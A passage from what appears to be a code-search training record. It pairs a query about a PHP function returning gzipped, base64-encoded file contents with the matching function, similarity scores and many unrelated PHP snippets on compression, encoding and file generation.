not have any tags other than top div tags --> b/c only takes textContent\r\n $childNode = $DomDocument->importNode($child, true);\r\n $DomNode->appendChild($childNode);\r\n }\r\n }\r\n\r\n return $DomNode;\r\n }", "public function renderHTML()\n {\n }", "public function html(string $message): void{\n\t\t$this->html = $message;\n\t\t\n\t\tif($this->message === null){\n\t\t\t$this->message(strip_tags($message));\n\t\t}\n\t}", "protected function generateHtml()\n\t{\n\t}" ]
[ "0.6731877", "0.655108", "0.62616074", "0.6237627", "0.5918751", "0.5906924", "0.5657758", "0.5592191", "0.55770046", "0.55665153", "0.5505404", "0.546114", "0.54439807", "0.54349995", "0.5431439", "0.5400031", "0.53781843", "0.5377683", "0.53760046", "0.53624934", "0.5359384", "0.52652365", "0.5239236", "0.52384675", "0.52350354", "0.52336246", "0.5233192", "0.521044", "0.5184499", "0.5182955", "0.5182098", "0.517309", "0.5142287", "0.5132927", "0.5117137", "0.5117137", "0.51154184", "0.51058286", "0.5097764", "0.5080362", "0.5072631", "0.50696445", "0.506663", "0.50665087", "0.5061166", "0.5061014", "0.50604427", "0.50563663", "0.5052782", "0.5024918", "0.5024094", "0.5020849", "0.50099677", "0.50061613", "0.499944", "0.49791822", "0.4974814", "0.4968773", "0.49603167", "0.49574018", "0.49573964", "0.4951964", "0.49188432", "0.49174386", "0.49067503", "0.49059305", "0.4903143", "0.49022913", "0.48704016", "0.4868511", "0.48659995", "0.48652232", "0.48549163", "0.48531398", "0.48501393", "0.48487756", "0.4848336", "0.48360372", "0.48254701", "0.48227277", "0.4816656", "0.481271", "0.48028114", "0.48000506", "0.4790373", "0.47870767", "0.47866002", "0.4785756", "0.47850865", "0.47816974", "0.47770843", "0.47762778", "0.4764436", "0.47569582", "0.47552687", "0.47466025", "0.4734164", "0.47324687", "0.47310597", "0.47291115" ]
0.67978185
0
/ Function: data returns content of files stored as gzipped base64 encoded strings. This function is replaced by the build command. See Also:
function data($name) { switch ($name) { //START_OF_DATA case 'index': return ''; case 'system/languages/languages.json': return file_get_contents('system/languages/languages.json'); //END_OF_DATA } if ($zip) return gzdecode(base64_decode($zip)); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getBinaryContent();", "public function getZippedfile() {\r\n\r\n $data = implode(\"\", $this -> compressedData); \r\n $controlDirectory = implode(\"\", $this -> centralDirectory); \r\n\r\n return \r\n $data. \r\n $controlDirectory. \r\n $this -> endOfCentralDirectory. \r\n pack(\"v\", sizeof($this -> centralDirectory)). \r\n pack(\"v\", sizeof($this -> centralDirectory)). \r\n pack(\"V\", strlen($controlDirectory)). \r\n pack(\"V\", strlen($data)). \r\n \"\\x00\\x00\"; \r\n }", "private function loadContent() {\n\t\t$expression =\n\t\t\t'/sunflower-'. // match only right files\n\t\t\t'(\\d+\\.\\d+\\w?)[\\.-](\\d+)'. // version\n\t\t\t'(?:-(\\d)+)?'. // package build number\n\t\t\t'(?:[\\.-](all|any|noarch|i386|amd64))?(?:\\.([\\w\\d]+))?'. // architecture and os\n\t\t\t'(\\.[\\w\\d\\.]+)/iu'; // extension\n\n\t\t// get files from directory\n\t\t$data = array();\n\t\t$files = scandir($this->file_path);\n\t\tforeach ($files as $file_name) {\n\t\t\t$matched = preg_match($expression, $file_name, $matches) == 1;\n\n\t\t\tif ($matched) {\n\t\t\t\t$build = $matches[2];\n\n\t\t\t\t// create storage array for build number\n\t\t\t\tif (!isset($data[$build]))\n\t\t\t\t\t$data[$build] = array();\n\n\t\t\t\t// treat different extensions differently\n\t\t\t\tswitch($matches[6]) {\n\t\t\t\t\tcase '.tgz.sig':\n\t\t\t\t\tcase '.deb.sig':\n\t\t\t\t\tcase '.rpm.sig':\n\t\t\t\t\t\t$key_name = substr($file_name, 0, strlen($file_name) - 4);\n\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$key_name]))\n\t\t\t\t\t\t\t$data[$build][$key_name] = array();\n\n\t\t\t\t\t\t// store signature to file name\n\t\t\t\t\t\t$data[$build][$key_name]['signature'] = url_GetFromFilePath($this->file_path.'/'.$file_name);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase '.tgz.sha256':\n\t\t\t\t\tcase '.deb.sha256':\n\t\t\t\t\tcase '.rpm.sha256':\n\t\t\t\t\t\t$key_name = substr($file_name, 0, strlen($file_name) - 7);\n\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$key_name]))\n\t\t\t\t\t\t\t$data[$build][$key_name] = array();\n\n\t\t\t\t\t\t// store signature to file name\n\t\t\t\t\t\t$data[$build][$key_name]['hash'] = file_get_contents($this->file_path.'/'.$file_name);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$file_name]))\n\t\t\t\t\t\t\t$data[$build][$file_name] = array();\n\n\t\t\t\t\t\t// get storage array for easier access\n\t\t\t\t\t\t$file_data = $data[$build][$file_name];\n\n\t\t\t\t\t\t// populate parameters\n\t\t\t\t\t\t$file_data['url'] = url_GetFromFilePath($this->file_path.'/'.$file_name);\n\t\t\t\t\t\t$file_data['version'] = $matches[1];\n\t\t\t\t\t\t$file_data['build'] = $matches[2];\n\t\t\t\t\t\t$file_data['package_build'] = $matches[3];\n\t\t\t\t\t\t$file_data['architecture'] = $matches[4];\n\t\t\t\t\t\t$file_data['platform'] = $matches[5];\n\t\t\t\t\t\t$file_data['extension'] = $matches[6];\n\n\t\t\t\t\t\t// store data array back to main array\n\t\t\t\t\t\t$data[$build][$file_name] = $file_data;\n\n\t\t\t\t\t\t// store version to reference list\n\t\t\t\t\t\t$this->version_list[$build] = $matches[1];\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// sort version list\n\t\tkrsort($this->version_list);\n\n\t\t// store parsed data\n\t\t$this->file_list = $data;\n\t}", "public function getBase64Content(): string;", "function _getFileData($key) \n {\n if ($this->_metadata[$key]['_method'] == 0x8) {\n // If zlib extention is loaded use it\n if (extension_loaded('zlib')) {\n return @ gzinflate(substr($this->_data, $this->_metadata[$key]['_dataStart'], $this->_metadata[$key]['csize']));\n }\n } elseif ($this->_metadata[$key]['_method'] == 0x0) {\n /* Files that aren't compressed. */\n return substr($this->_data, $this->_metadata[$key]['_dataStart'], $this->_metadata[$key]['csize']);\n } elseif ($this->_metadata[$key]['_method'] == 0x12) {\n // If bz2 extention is sucessfully loaded use it\n if (extension_loaded('bz2')) {\n return bzdecompress(substr($this->_data, $this->_metadata[$key]['_dataStart'], $this->_metadata[$key]['csize']));\n }\n }\n return '';\n }", "function buildzip() {\n\t\t// make list of files to include\n\t\t$files = array_keys(index());\n\t\tforeach($_POST as $p => $v) if (substr($p, 0, 6) == 'build_') $files[] = substr($p, 6).'.php';\n\n\t\t// get the base script to modify\n\t\t$hypha = file_get_contents('hypha.php');\n\n\t\t// insert superuser name and password\n\t\t$hypha = preg_replace('/\\$username = \\'.*?\\';/', '\\$username = \\''.$_POST['username'].'\\';', $hypha);\n\t\t$hypha = preg_replace('/\\$password = \\'.*?\\';/', '\\$password = \\''.$_POST['password'].'\\';', $hypha);\n\n\t\t// build data library of zipped files to include\n\t\t$data = \"\t\t\t//START_OF_DATA\\n\";\n\t\t$data .= '\t\t\tcase \\'index\\': $zip = \"'.base64_encode(gzencode(implode(',', array_keys(index())), 9)).'\"; break;'.\"\\n\";\n\t\tforeach ($files as $file) $data.= '\t\t\tcase \\''.$file.'\\': $zip = \"'.base64_encode(gzencode(file_get_contents($file), 9)).'\"; break;'.\"\\n\";\n\t\t$data .= \"\t\t\t//END_OF_DATA\\n\";\n\n\t\t// include data library\n\t\t$hypha = preg_replace('#^\\t*//START_OF_DATA\\n.*//END_OF_DATA\\n#ms', $data, $hypha);\n\n\t\t// push script to client\n\t\theader('Content-Type: application/octet-stream');\n\t\theader('Content-Disposition: attachment; filename=\"hypha.php\"');\n\t\techo $hypha;\n\t\texit;\n\t}", "function gzfile_get_contents($file) {\n if (!$file = gzfile($file)) {\n return FALSE;\n }\n if (!$file = implode('', $file)) {\n return FALSE;\n }\n return $file;\n}", "function base64_encode($data)\n{\n}", "function gz_file_get_contents($file)\r\n{\r\n $data = null;\r\n \r\n $zip = gzopen(\"$file.gz\", 'rb');\r\n if( $zip === false )\r\n $zip = gzopen($file, 'rb');\r\n \r\n if( $zip !== false )\r\n {\r\n $data = gzread($zip, 10000000);\r\n gzclose($zip);\r\n }\r\n else \r\n $data = false;\r\n \r\n return $data;\r\n}", "function exportData($data, $filename, $compression=\"\")\n{\n\t$browser = getBrowserInfo();\n\tif (preg_match(\"/ie/i\", $browser[\"browser\"]))\n\t{\n\t\t$mime = \"application/octetstream\";\n\t\t$disp = 'inline';\n\t}\n\telse if (preg_match(\"/opera/i\", $browser[\"browser\"]))\n\t{\n\t\t$mime = \"application/octetstream\";\n\t\t$disp = 'attachment';\n\t}\n\telse\n\t{\n\t\t$mime = \"application/octet-stream\";\n\t\t$disp = 'attachment';\n\t}\n\n\tif($compression==\"bzip\")\n\t{\n\t\t$mime='application/x-bzip';\n\t\t$filename.= \".bz2\";\n\t}\n\telse if($compression==\"gzip\")\n\t{\n\t\t$mime='application/x-gzip';\n\t\t$filename.= \".gz\";\n\t}\n\telse if($compression==\"zip\")\n\t{\n\t\t$mime='application/x-zip';\n\t\t$filename.= \".zip\";\n\t}\n\n\theader('Content-Type: '. $mime);\n\theader('Content-Disposition: '.$disp.'; filename=\"'.$filename.'\"');\n\tif(preg_match(\"/ie/i\", $browser[\"browser\"])) header('Cache-Control: must-revalidate, post-check=0, pre-check=0');\n\theader('Pragma: no-cache');\n\theader('Expires: 0');\n\n\t// 1. as a bzipped file\n\tif($compression==\"bzip\")\n\t{\n\t\tif (@function_exists('bzcompress'))\n\t\t{\n\t\t\techo bzcompress($data);\n\t\t}\n\t}\n\t// 2. as a gzipped file\n\telse if ($compression == 'gzip')\n\t{\n\t\tif (@function_exists('gzencode'))\n\t\t{\n\t\t\techo gzencode($data);\n\t\t}\n\t}\n\telse if ($compression == 'zip')\n\t{\n\t\tif (@function_exists('gzcompress'))\n\t\t{\n\t\t\techo gzcompress($data);\n\t\t}\n\t}\n\t// 3. on screen\n\telse\n\t{\n\t\techo $data;\n\t}\n\texit;\n}", "function getFileContent()\n {\n $content = \"\";\n\n $sum_account_numbers = 0;\n $sum_bank_codes = 0;\n $sum_amounts = 0;\n\n /**\n * data record A\n */\n\n // (field numbers according to ebics-zka.de specification)\n // A1 record length (128 Bytes)\n $content .= str_pad(\"128\", 4, \"0\", STR_PAD_LEFT);\n // A2 record type\n $content .= \"A\";\n // A3 file mode (credit or debit)\n // and Customer File (\"K\") / Bank File (\"B\")\n $content .= ($this->type == DTA_CREDIT) ? \"G\" : \"L\";\n $content .= \"K\";\n // A4 sender's bank code\n $content .= str_pad($this->account_file_sender['bank_code'],\n 8, \"0\", STR_PAD_LEFT);\n // A5 only used if Bank File, otherwise NULL\n $content .= str_repeat(\"0\", 8);\n // A6 sender's name\n $content .= str_pad($this->account_file_sender['name'],\n 27, \" \", STR_PAD_RIGHT);\n // A7 date of file creation\n $content .= strftime(\"%d%m%y\", $this->timestamp);\n // A8 free (bank internal)\n $content .= str_repeat(\" \", 4);\n // A9 sender's account number\n $content .= str_pad($this->account_file_sender['account_number'],\n 10, \"0\", STR_PAD_LEFT);\n // A10 sender's reference number (optional)\n $content .= str_repeat(\"0\", 10);\n // A11a free (reserve)\n $content .= str_repeat(\" \", 15);\n // A11b execution date (\"DDMMYYYY\", optional)\n $content .= str_repeat(\" \", 8);\n // A11c free (reserve)\n $content .= str_repeat(\" \", 24);\n // A12 currency (1 = Euro)\n $content .= \"1\";\n\n assert(strlen($content) == 128);\n\n /**\n * data record(s) C\n */\n\n foreach ($this->exchanges as $exchange) {\n $sum_account_numbers += $exchange['receiver_account_number'];\n $sum_bank_codes += (int) $exchange['receiver_bank_code'];\n $sum_amounts += (int) $exchange['amount'];\n\n $additional_purposes = $exchange['purposes'];\n $first_purpose = array_shift($additional_purposes);\n\n $additional_parts = array();\n\n if (strlen($exchange['receiver_additional_name']) > 0) {\n $additional_parts[] = array(\"type\" => \"01\",\n \"content\" => $exchange['receiver_additional_name']\n );\n }\n\n foreach ($additional_purposes as $additional_purpose) {\n $additional_parts[] = array(\"type\" => \"02\",\n \"content\" => $additional_purpose\n );\n }\n\n if (strlen($exchange['sender_additional_name']) > 0) {\n $additional_parts[] = array(\"type\" => \"03\",\n \"content\" => $exchange['sender_additional_name']\n );\n }\n\n $additional_parts_number = count($additional_parts);\n assert($additional_parts_number <= 15);\n\n // C1 record length (187 Bytes + 29 Bytes for each additional part)\n $content .= str_pad(187 + $additional_parts_number * 29,\n 4, \"0\", STR_PAD_LEFT);\n // C2 record type\n $content .= \"C\";\n // C3 first involved bank\n $content .= str_pad($exchange['sender_bank_code'],\n 8, \"0\", STR_PAD_LEFT);\n // C4 receiver's bank code\n $content .= str_pad($exchange['receiver_bank_code'],\n 8, \"0\", STR_PAD_LEFT);\n // C5 receiver's account number\n $content .= str_pad($exchange['receiver_account_number'],\n 10, \"0\", STR_PAD_LEFT);\n // C6 internal customer number (11 chars) or NULL\n $content .= \"0\" . str_repeat(\"0\", 11) . \"0\";\n // C7a payment mode (text key)\n $content .= ($this->type == DTA_CREDIT) ? \"51\" : \"05\";\n // C7b additional text key\n $content .= \"000\";\n // C8 bank internal\n $content .= \" \";\n // C9 free (reserve)\n $content .= str_repeat(\"0\", 11);\n // C10 sender's bank code\n $content .= str_pad($exchange['sender_bank_code'],\n 8, \"0\", STR_PAD_LEFT);\n // C11 sender's account number\n $content .= str_pad($exchange['sender_account_number'],\n 10, \"0\", STR_PAD_LEFT);\n // C12 amount\n $content .= str_pad($exchange['amount'],\n 11, \"0\", STR_PAD_LEFT);\n // C13 free (reserve)\n $content .= str_repeat(\" \", 3);\n // C14a receiver's name\n $content .= str_pad($exchange['receiver_name'],\n 27, \" \", STR_PAD_RIGHT);\n // C14b delimitation\n $content .= str_repeat(\" \", 8);\n /* first part/128 chars full */\n // C15 sender's name\n $content .= str_pad($exchange['sender_name'],\n 27, \" \", STR_PAD_RIGHT);\n // C16 first line of purposes\n $content .= str_pad($first_purpose, 27, \" \", STR_PAD_RIGHT);\n // C17a currency (1 = Euro)\n $content .= \"1\";\n // C17b free (reserve)\n $content .= str_repeat(\" \", 2);\n // C18 number of additional parts (00-15)\n $content .= str_pad($additional_parts_number, 2, \"0\", STR_PAD_LEFT);\n\n /*\n * End of the constant part (187 chars),\n * now up to 15 extensions with 29 chars each might follow.\n */\n\n if (count($additional_parts) == 0) {\n // no extension, pad to fill the part to 2*128 chars\n $content .= str_repeat(\" \", 256-187);\n } else {\n // The first two extensions fit into the current part:\n for ($index = 1;$index <= 2;$index++) {\n if (count($additional_parts) > 0) {\n $additional_part = array_shift($additional_parts);\n } else {\n $additional_part = array(\"type\" => \" \",\n \"content\" => \"\"\n );\n }\n // C19/21 type of addional part\n $content .= $additional_part['type'];\n // C20/22 additional part content\n $content .= str_pad($additional_part['content'],\n 27, \" \", STR_PAD_RIGHT);\n }\n // delimitation\n $content .= str_repeat(\" \", 11);\n }\n\n // For more extensions add up to 4 more parts:\n for ($part = 3;$part <= 5;$part++) {\n if (count($additional_parts) > 0) {\n for ($index = 1;$index <= 4;$index++) {\n if (count($additional_parts) > 0) {\n $additional_part = array_shift($additional_parts);\n } else {\n $additional_part = array(\"type\" => \" \",\n \"content\" => \"\"\n );\n }\n // C24/26/28/30 type of addional part\n $content .= $additional_part['type'];\n // C25/27/29/31 additional part content\n $content .= str_pad($additional_part['content'],\n 27, \" \", STR_PAD_RIGHT);\n }\n // C32 delimitation\n $content .= str_repeat(\" \", 12);\n }\n }\n // with 15 extensions there may be a 6th part\n if (count($additional_parts) > 0) {\n $additional_part = array_shift($additional_parts);\n // C24 type of addional part\n $content .= $additional_part['type'];\n // C25 additional part content\n $content .= str_pad($additional_part['content'],\n 27, \" \", STR_PAD_RIGHT);\n // padding to fill the part\n $content .= str_repeat(\" \", 128-27-2);\n }\n assert(count($additional_parts) == 0);\n assert(strlen($content) % 128 == 0);\n }\n\n /**\n * data record E\n */\n\n assert($this->sum_amounts === $sum_amounts);\n assert($this->sum_bankcodes === $sum_bank_codes);\n assert($this->sum_accounts === $sum_account_numbers);\n\n // E1 record length (128 bytes)\n $content .= str_pad(\"128\", 4, \"0\", STR_PAD_LEFT);\n // E2 record type\n $content .= \"E\";\n // E3 free (reserve)\n $content .= str_repeat(\" \", 5);\n // E4 number of records type C\n $content .= str_pad(count($this->exchanges), 7, \"0\", STR_PAD_LEFT);\n // E5 free (reserve)\n $content .= str_repeat(\"0\", 13);\n // use number_format() to ensure proper integer formatting\n // E6 sum of account numbers\n $content .= str_pad(number_format($sum_account_numbers, 0, \"\", \"\"),\n 17, \"0\", STR_PAD_LEFT);\n // E7 sum of bank codes\n $content .= str_pad(number_format($sum_bank_codes, 0, \"\", \"\"),\n 17, \"0\", STR_PAD_LEFT);\n // E8 sum of amounts\n $content .= str_pad(number_format($sum_amounts, 0, \"\", \"\"),\n 13, \"0\", STR_PAD_LEFT);\n // E9 delimitation\n $content .= str_repeat(\" \", 51);\n\n assert(strlen($content) % 128 == 0);\n\n return $content;\n }", "public function gzipFileContent() {\n if ($this->gzip && isset($this->element->mimeTypeDetails['gzip']) && $this->element->mimeTypeDetails['gzip'] && $this->element->gzip) {\n //If the element is already gzipped, return. \n if ($this->element->gzipped) {\n return true;\n }\n if (in_array('zip',explode(',',trim($_SERVER['HTTP_ACCEPT_ENCODING'])))) { //Check if Browser Supports gzip\n $this->clientBrowserGzipCompatible = true;\n $this->element->clientBrowserGzipCompatible = true;\n if (\\function_exists('gzencode')) { //Check if the gzip function is available to php\n $this->element->gzip = true;\n header(\"Content-Encoding: gzip\");\n $this->element->fileContent = gzencode($this->element->fileContent,$this->gzipCompressionLevel);\n $this->element->gzipped = true;\n $this->element->fileContentConversions['gzipped'] = true;\n }\n } else {\n $this->element->gzip = false;\n $this->element->fileContentConversions['gzipped'] = false;\n }\n } else {\n $this->element->gzip = false;\n $this->element->fileContentConversions['gzipped'] = false;\n }\n }", "function data_uri($contents, $mime)\n{\n// $contents = file_get_contents($file);\n $base64 = base64_encode($contents);\n return ('data:' . $mime . ';base64,' . $base64);\n}", "public static function getGzip() {}", "public static function encodeFile( $data )\n {\n /*if (is_array($data))reset($data);\n if (gettype($data) !== 'object' && !(is_array($data) && (current($data)===false || gettype(current($data)) === 'object'))){\n $e = new Exception();\n error_log(__FILE__.':'.__LINE__.' no object, '.gettype($data).\" given\\n\".$e->getTraceAsString()); \n ///return null;\n }\n if ((is_array($data) && (is_array(current($data)) || (current($data)!==false && get_class(current($data)) !== get_called_class()))) || (!is_array($data) && get_class($data) !== get_called_class())){\n $e = new Exception();\n $class = (is_array($data) && is_array(current($data)) ? 'array' : (is_array($data) ? (current($data)!==false ? get_class(current($data)) : 'array') : get_class($data)));\n error_log(__FILE__.':'.__LINE__.' wrong type, '.$class.' given, '.get_called_class().\" expected\\n\".$e->getTraceAsString());\n ///return null;\n }*/\n return json_encode( $data );\n }", "function compress() {\n\t\t$key = \"\";\n\n\t\tforeach ($this->_items as $item)\n\t\t\t$key .= $item[1];\n\n\t\t// Setup some variables\n\t\t$cacheFile = $this->_settings['cache_dir'] . \"/\";\n\n\t\tif ($this->_settings['name'])\n\t\t\t$cacheFile .= preg_replace('/[^a-z0-9_]/i', '', $this->_settings['name']);\n\t\telse\n\t\t\t$cacheFile .= md5($key);\n\n\t\t$supportsGzip = false;\n\t\t$content = \"\";\n\t\t$encodings = array();\n\n\t\t// Check if it supports gzip\n\t\tif (isset($_SERVER['HTTP_ACCEPT_ENCODING']))\n\t\t\t$encodings = explode(',', strtolower(preg_replace(\"/\\s+/\", \"\", $_SERVER['HTTP_ACCEPT_ENCODING'])));\n\n\t\tif ($this->_settings['gzip_compress'] && (in_array('gzip', $encodings) || in_array('x-gzip', $encodings) || isset($_SERVER['---------------'])) && function_exists('gzencode') && !ini_get('zlib.output_compression')) {\n\t\t\t$enc = in_array('x-gzip', $encodings) ? \"x-gzip\" : \"gzip\";\n\t\t\t$supportsGzip = true;\n\t\t\t$cacheFile .= \".gz\";\n\t\t} else\n\t\t\t$cacheFile .= \".css\";\n\n\t\t// Set headers\n\t\theader(\"Content-type: text/css;charset=\" . $this->_settings['charset']);\n\t\theader(\"Cache-Control: must-revalidate\"); // Must be there for IE 6\n\t\theader(\"Vary: Accept-Encoding\"); // Handle proxies\n\t\theader(\"Expires: \" . gmdate(\"D, d M Y H:i:s\", time() + $this->_parseTime($this->_settings['expires_offset'])) . \" GMT\");\n\n\t\t// Use cached file\n\t\tif ($this->_settings['disk_cache'] && file_exists($cacheFile) && @filemtime($cacheFile) == $this->_lastUpdate) {\n\t\t\tif ($supportsGzip)\n\t\t\t\theader(\"Content-Encoding: \" . $enc);\n\n\t\t\techo $this->_getFileContents($cacheFile);\n\t\t\treturn;\n\t\t}\n\n\t\t// Load content\n\t\tforeach ($this->_items as $item) {\n\t\t\tif ($item[0] == 'file')\n\t\t\t\t$chunk = $this->_getFileContents($item[1]);\n\t\t\telse\n\t\t\t\t$chunk = $item[1];\n\n\t\t\t// Remove UTF-8 BOM\n\t\t\tif (substr($chunk, 0, 3) == pack(\"CCC\", 0xef, 0xbb, 0xbf))\n\t\t\t\t$chunk = substr($chunk, 3);\n\n\t\t\tif (!preg_match('/[\\r\\n]$/', $chunk))\n\t\t\t\t$chunk .= \"\\n\";\n\n\t\t\tif ($this->_settings['remove_whitespace'] && $item[2])\n\t\t\t\t$chunk = $this->_removeWhiteSpace($chunk);\n\n\t\t\t// Convert urls\n\t\t\tif ($this->_settings['convert_urls']) {\n\t\t\t\t$chunk = preg_replace('/\\\\$base/', dirname($_SERVER['SCRIPT_NAME']), $chunk);\n\t\t\t\t$chunk = preg_replace('/url\\\\([\\'\"]?(?!\\\\/|http)/', '$0' . dirname($item[1]) . '/', $chunk);\n\t\t\t}\n\n\t\t\t$content .= $chunk;\n\t\t}\n\n\t\t// GZip content\n\t\tif ($supportsGzip) {\n\t\t\theader(\"Content-Encoding: \" . $enc);\n\t\t\t$content = gzencode($content, 9, FORCE_GZIP);\n\t\t}\n\n\t\t// Write cache file\n\t\tif ($this->_settings['disk_cache']) {\n\t\t\tif (!is_dir($this->_settings['cache_dir']))\n\t\t\t\t@mkdir($this->_settings['cache_dir']);\n\n\t\t\t$this->_putFileContents($cacheFile, $content);\n\n\t\t\tif (@file_exists($cacheFile))\n\t\t\t\t@touch($cacheFile, $this->_lastUpdate);\n\t\t}\n\n\t\t// Output content to client\n\t\techo $content;\n\t}", "public function get_content()\n {\n extract($this->_keystore);\n ob_start();\n include($this->_file);\n return ob_get_clean();\n }", "function gzdecode($data, $length = NULL)\n{\n}", "function compress_handler($in_output)\r\n{\r\n return gzencode($in_output);\r\n}", "public function packData($data) {\n return json_encode($data);\n }", "public function getCompressJavascript() {}", "function GzDocOut($level=9,$debug = 0){ \n\n\n $ENCODING = CheckCanGzip(); \n \n\n if ($ENCODING){\n\n $Contents = ob_get_contents(); \n ob_end_clean();\n $s = \"\\n<!-- Koriandol compress module : $ENCODING (\".strlen($Contents).\"/\".strlen(gzcompress($Contents,$level)).\") -->\\n\";\n $Contents .= $s;\n\n header(\"Content-Encoding: $ENCODING\"); \t\n print \"\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\"; \n $Size = strlen($Contents); \n $Crc = crc32($Contents); \n $Contents = gzcompress($Contents,$level); \n $Contents = substr($Contents, 0, strlen($Contents) - 4); \n print $Contents; \n print pack('V',$Crc); \n print pack('V',$Size); \n exit; \n }else{ \n ob_end_flush(); \n exit; \n } \n}", "public function addFile($data, $directoryName) {\r\n\r\n $directoryName = str_replace(\"\\\\\", \"/\", $directoryName); \r\n \r\n $feedArrayRow = \"\\x50\\x4b\\x03\\x04\";\r\n $feedArrayRow .= \"\\x14\\x00\"; \r\n $feedArrayRow .= \"\\x00\\x00\"; \r\n $feedArrayRow .= \"\\x08\\x00\"; \r\n $feedArrayRow .= \"\\x00\\x00\\x00\\x00\";\r\n\r\n $uncompressedLength = strlen($data); \r\n $compression = crc32($data); \r\n $gzCompressedData = gzcompress($data); \r\n $gzCompressedData = substr( substr($gzCompressedData, 0, strlen($gzCompressedData) - 4), 2);\r\n $compressedLength = strlen($gzCompressedData); \r\n $feedArrayRow .= pack(\"V\",$compression);\r\n $feedArrayRow .= pack(\"V\",$compressedLength);\r\n $feedArrayRow .= pack(\"V\",$uncompressedLength);\r\n $feedArrayRow .= pack(\"v\", strlen($directoryName) );\r\n $feedArrayRow .= pack(\"v\", 0 );\r\n $feedArrayRow .= $directoryName; \r\n\r\n $feedArrayRow .= $gzCompressedData; \r\n\r\n $feedArrayRow .= pack(\"V\",$compression);\r\n $feedArrayRow .= pack(\"V\",$compressedLength);\r\n $feedArrayRow .= pack(\"V\",$uncompressedLength);\r\n\r\n $this -> compressedData[] = $feedArrayRow;\r\n\r\n $newOffset = strlen(implode(\"\", $this->compressedData));\r\n\r\n $addCentralRecord = \"\\x50\\x4b\\x01\\x02\";\r\n $addCentralRecord .=\"\\x00\\x00\"; \r\n $addCentralRecord .=\"\\x14\\x00\"; \r\n $addCentralRecord .=\"\\x00\\x00\"; \r\n $addCentralRecord .=\"\\x08\\x00\"; \r\n $addCentralRecord .=\"\\x00\\x00\\x00\\x00\";\r\n $addCentralRecord .= pack(\"V\",$compression);\r\n $addCentralRecord .= pack(\"V\",$compressedLength);\r\n $addCentralRecord .= pack(\"V\",$uncompressedLength);\r\n $addCentralRecord .= pack(\"v\", strlen($directoryName) );\r\n $addCentralRecord .= pack(\"v\", 0 );\r\n $addCentralRecord .= pack(\"v\", 0 );\r\n $addCentralRecord .= pack(\"v\", 0 );\r\n $addCentralRecord .= pack(\"v\", 0 );\r\n $addCentralRecord .= pack(\"V\", 32 );\r\n\r\n $addCentralRecord .= pack(\"V\", $this -> oldOffset );\r\n $this -> oldOffset = $newOffset;\r\n\r\n $addCentralRecord .= $directoryName; \r\n\r\n $this -> centralDirectory[] = $addCentralRecord; \r\n }", "public function getFile()\n {\n header('Content-type: ' . $this->mime_type);\n header('Content-Disposition: attachment; filename=' . $this->original_name);\n \n echo gzuncompress(base64_decode($this->content));\n \n die();\n }", "function gz_compress($filename)\r\n{\r\n $ret = false;\r\n \r\n $data = file_get_contents($filename);\r\n if( $data ){\r\n $ret = gz_file_put_contents($filename, $data);\r\n unset($data);\r\n }\r\n \r\n return $ret;\r\n}", "function getData($filename) {\n $data = file_get_contents($filename); \n\n //Fix JSON syntax error with decoding: https://stackoverflow.com/questions/17219916/json-decode-returns-json-error-syntax-but-online-formatter-says-the-json-is-ok\n for ($i = 0; $i <= 31; ++$i) { \n $data = str_replace(chr($i), \"\", $data); \n }\n $data = str_replace(chr(127), \"\", $data);\n\n // This is the most common part\n // Some file begins with 'efbbbf' to mark the beginning of the file. (binary level)\n // here we detect it and we remove it, basically it's the first 3 characters \n if (0 === strpos(bin2hex($data), 'efbbbf')) {\n $data = substr($data, 3);\n }\n\n $data = json_decode($data);\n return $data;\n}", "public function compress($data) {\n\t\t$data = serialize($data);\n\t\tif($this->compression_enabled) {\n\t\t\tswitch($this->compression_method) {\n\t\t\t\tcase self::METHOD_GZIP:\n\t\t\t\t\t$data = gzencode($data, $this->compression_level, 1 ? FORCE_GZIP : FORCE_DEFLATE);\n\t\t\t\t\tbreak;\n\t\t\t\tcase self::METHOD_DEFLATE:\n\t\t\t\tdefault:\n\t\t\t\t\t$data = gzdeflate($data, $this->compression_level);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn $data;\n\t}", "function _get_ico_data() {\n\t\tif ( ! is_array( $this->_images ) || empty( $this->_images ) )\n\t\t\treturn false;\n\t\t\n\t\t\n\t\t$data = pack( 'vvv', 0, 1, count( $this->_images ) );\n\t\t$pixel_data = '';\n\t\t\n\t\t$icon_dir_entry_size = 16;\n\t\t\n\t\t$offset = 6 + ( $icon_dir_entry_size * count( $this->_images ) );\n\t\t\n\t\tforeach ( $this->_images as $image ) {\n\t\t\t$data .= pack( 'CCCCvvVV', $image['width'], $image['height'], $image['color_palette_colors'], 0, 1, $image['bits_per_pixel'], $image['size'], $offset );\n\t\t\t$pixel_data .= $image['data'];\n\t\t\t\n\t\t\t$offset += $image['size'];\n\t\t}\n\t\t\n\t\t$data .= $pixel_data;\n\t\tunset( $pixel_data );\n\t\t\n\t\t\n\t\treturn $data;\n\t}", "public function __toString() {\n\t\t$s = \"[GZIP:\"\n\t\t\t. \" compression method: \" . ($this->CM == 8? \"DEFLATE\" : (string)$this->CM)\n\t\t\t. \", FLG: \" . $this->FLG\n\t\t\t. \", MTIME: \" . ($this->MTIME == 0? \"N.A.\" : gmdate(\"Y-m-d\\\\TH:i:s\\\\Z\", $this->MTIME))\n\t\t\t. \", XFL: \" . $this->XFL\n\t\t\t. \", OS: \" . $this->OS;\n\t\tif( $this->EXTRA !== NULL )\n\t\t\t$s .= \", EXTRA: 0x\" . bin2hex($this->EXTRA);\n\t\tif( $this->NAME !== NULL )\n\t\t\t$s .= \", NAME: \" . $this->NAME;\n\t\tif( $this->COMMENT !== NULL )\n\t\t\t$s .= \", COMMENT: \" . $this->COMMENT;\n\t\treturn $s . \"]\";\n\t}", "public static function compress(){\n\n}", "protected function pack($data): string\n {\n return \\serialize($data);\n }", "public function getData() {\n\t\t$this->validate();\n\n\t\t// add file header record\n\t\t$data = $this->header->getData();\n\n\t\t// add file batch 